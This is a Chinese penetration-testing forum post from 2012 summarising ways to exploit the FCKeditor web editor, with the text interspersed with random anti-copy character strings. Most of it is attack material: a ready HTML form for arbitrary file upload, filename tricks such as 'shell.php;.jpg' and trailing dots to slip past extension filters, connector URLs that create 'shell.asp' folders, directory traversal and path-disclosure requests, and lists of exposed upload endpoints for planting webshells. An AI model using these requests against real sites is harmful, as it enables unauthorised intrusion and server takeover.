中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  ) ~4 f- e# ]/ u; a
查看编辑器版本, B* P$ a2 T7 q' U% ?, ~
FCKeditor/_whatsnew.html
# W. l3 H5 Z. s—————————————————————————————————————————————————————————————
) b1 p! C6 m  M0 w3 Y- ~; D$ A' F0 g; x  e; B+ L3 v, E( `2 }/ v
2. Version 2.2 版本
. Y+ m4 f" J* c# HApache+linux 环境下在上传文件后面加个.突破!测试通过。
" ]" R: w" I: V—————————————————————————————————————————————————————————————
9 q5 H* q% f, }" g; F: L- A9 f# k. H) j5 _) v9 i* z
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
' Z- E% U5 O; M, ]+ g' e0 G<form id="frmUpload" enctype="multipart/form-data"* b) J  }1 V: K! e
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>7 j9 t- N6 k# a' W2 ^! H* v
<input type="file" name="NewFile" size="50"><br>
2 i6 W( `* F  O7 O) n* f' P, T<input id="btnUpload" type="submit" value="Upload">
% t* L# o, p6 |. M1 k: w</form>& n* q2 H; S. g2 S) V8 K4 I% \6 Q5 R
—————————————————————————————————————————————————————————————
1 z: h9 D/ b" j' @5 t: V$ |0 I( W# r( f; i0 x- o1 ~
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法8 T- s) H9 E: c& |* }) p: j
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。+ U4 R$ {, X+ Z& c
    4.1:提交shell.php+空格绕过: D* D% ^+ m8 y; ?4 O6 R5 h
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。2 |, A! W; W( w) r7 {  Y
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。8 q2 m# O% g& ~2 Q  @5 i
—————————————————————————————————————————————————————————————
0 Z4 }$ O8 M6 }. ^- S3 v; v5 b& |- N+ ^- e& [
5. 突破建立文件夹- b( e7 q* y% |4 U$ d3 _- _; t
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- n5 }7 h% \$ x4 ]# m
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp2 @' c( G: t5 q$ U( f
—————————————————————————————————————————————————————————————1 ^; g0 o" ~& ?$ u" P* K/ w. k2 v
3 @. V2 G: T0 G+ h$ m
6. FCKeditor 中test 文件的上传地址1 h9 }- g% {0 @, o' ?/ L2 ^3 D
FCKeditor/editor/filemanager/browser/default/connectors/test.html3 I, E& M- z% f# t) k( [
FCKeditor/editor/filemanager/upload/test.html
7 O$ x5 i' A& z) c, {$ CFCKeditor/editor/filemanager/connectors/test.html
9 }* K% x2 M" M+ w0 G* a" jFCKeditor/editor/filemanager/connectors/uploadtest.html* U% _) N1 k7 p! z8 W4 m2 a8 U. q' V
—————————————————————————————————————————————————————————————
9 ^* L6 @1 @( P6 C4 l+ n# \! V
% a1 Y, P+ e! I! C, O2 l7.常用上传地址
3 q0 |2 B7 a9 F' UFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
& |8 q- Z2 g, l$ EFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp: J" ], }, t+ D% i2 Z" T7 V
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)4 J5 U5 b4 |( m$ ?, S( V9 d) h* ]
JSP 版:4 B& m- y) U: }! J" U
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
+ S' x+ `. P. ]+ h注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
# ?. I7 _7 S6 r  ?+ |" a件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。% c6 F1 s6 j( H4 s9 d
—————————————————————————————————————————————————————————————7 Z) w" P4 u, {" u
- H$ Q' @5 V$ e7 G# b
8.其他上传地址
# x% o9 A# H" PFCKeditor/_samples/default.html! b+ V4 u2 k, ]  P
FCKeditor/_samples/asp/sample01.asp; u, n3 s2 e' }. {
FCKeditor/_samples/asp/sample02.asp' e$ L2 D3 i$ D3 ~8 b( Q
FCKeditor/_samples/asp/sample03.asp8 ]& C! x( {% A$ @1 l
FCKeditor/_samples/asp/sample04.asp
( Y5 z; @' T7 \2 l5 p/ e& [2 P一般很多站点都已删除_samples 目录,可以试试。
( p4 z  [9 T, D& W7 H- |* W; OFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。: Y+ d! y1 \& d7 c6 x+ {
—————————————————————————————————————————————————————————————
7 [+ n( ~) b8 a( A
4 @+ ^9 Z0 L* z; L$ [7 e9.列目录漏洞也可助找上传地址7 U  v, ^* g. |6 t" q' O) Y
Version 2.4.1 测试通过
3 H# f# m8 K+ p3 \& q) {! d修改CurrentFolder 参数使用 ../../来进入不同的目录3 K! z. _, |) X! g. n! M1 }& K& m# [
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
1 J) }) a) v' G8 R0 p/ R# ^根据返回的XML 信息可以查看网站所有的目录。
  q- q9 Q% p$ A" l, ~5 q. \FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
" `9 ?, F2 i& s也可以直接浏览盘符:
8 |; _& k* C: c% U1 v& X! QJSP 版本:
) y) d; u6 d" k6 G8 ~0 C- XFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
1 L9 W" A; g+ w  K9 F8 ]—————————————————————————————————————————————————————————————: D0 H9 ~& q9 s" {. a8 C/ |% H

  Q& p6 g4 B% j1 t4 s9 v10.爆路径漏洞4 S6 W, A. J3 A7 w- }9 s( I* _
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
  r3 E! [, [, X% M—————————————————————————————————————————————————————————————
! v' R  D2 n! V9 Q1 E+ T  U
1 x! w' o8 G4 J5 I. I: H. g& E) k11. FCKeditor 被动限制策略所导致的过滤不严问题
4 ?: R& o- N2 N/ G" b        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
. A, i* A! k/ Y! C脆弱描述:
: [& z' _9 N+ g! n! bFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
& w+ \& W8 X- X3 l5 y0 X. a& O3 Dhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
  \* v7 j% a* J& m$ ?Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!; s9 b7 s7 ^! L& p# q
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
; B0 j9 E) s4 c1 M( c' x) `. P        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!1 D2 Z. G  w3 z3 @
—————————————————————————————————————————————————————————————
) R" P; }4 _- o. _1 j. ~  p
$ i# ?2 j* Z7 t8 e$ Y12.最古老的漏洞,Type文件没有限制!
- z" M/ o' i4 n9 S1 E3 q$ W2 I( s        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 2 Y! Z. i4 N8 s, Z( y
—————————————————————————————————————————————————————————————
& f5 ~5 R) }$ d# }' X, \% z0 }' N3 x1 h; I% l# z
===============================================================================================================================================7 h! Q' s, u+ T: ]0 K4 N" K
8 x2 \8 {2 s5 u5 ?/ J
FCK编辑器jsp版本漏洞:3 U6 A7 L' a# m+ g
0 Z4 F& O" n) |! n

1 U. g7 j% O, t/ K# E$ Mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F1 A5 E% ^2 Q( e" V

9 R4 P$ j! k( b) y4 B+ C! u8 u上传马所在目录  d* y7 y% i8 J+ F
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/5 F5 w3 g( x" o% E& s0 F# d1 \
上传shell的地址:
, I& j; `1 v0 n- rhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector# ?0 j1 y: ?: k1 Q% S, O% ]4 S
跟版本有关系.并不是百分百成功. 测试成功几个站.
5 c" p9 N, ^5 n# v4 E9 S不能通杀.很遗憾.1 k9 |. {7 l* |8 @. ^8 G0 E2 S8 f
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector6 e9 p* n/ y/ ~! B5 j
如果以上地址不行可以试试
! J0 r6 H2 r) d% ]  R9 T: GFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
: ], U2 Q; S, s1 Q9 ]* o' JFCKeditor/_samples/
0 w5 _, T) P! v! lFCKeditor/_samples/default.html
( ~( W8 f" R" w/ m& bFCKeditor/editor/fckeditor.htm
3 V0 l+ t5 Y" t0 E1 V6 kFCKeditor/editor/fckdialog.html
! [, ]) G8 q7 Y0 j+ \+ u0 t( O1 Z; `! D7 b. r2 v: l/ y
7 }; S+ F& r1 r+ F$ V8 i

' i( A9 r2 Q- W, S, n解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
5 b2 }# q$ ~2 i& @7 c




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2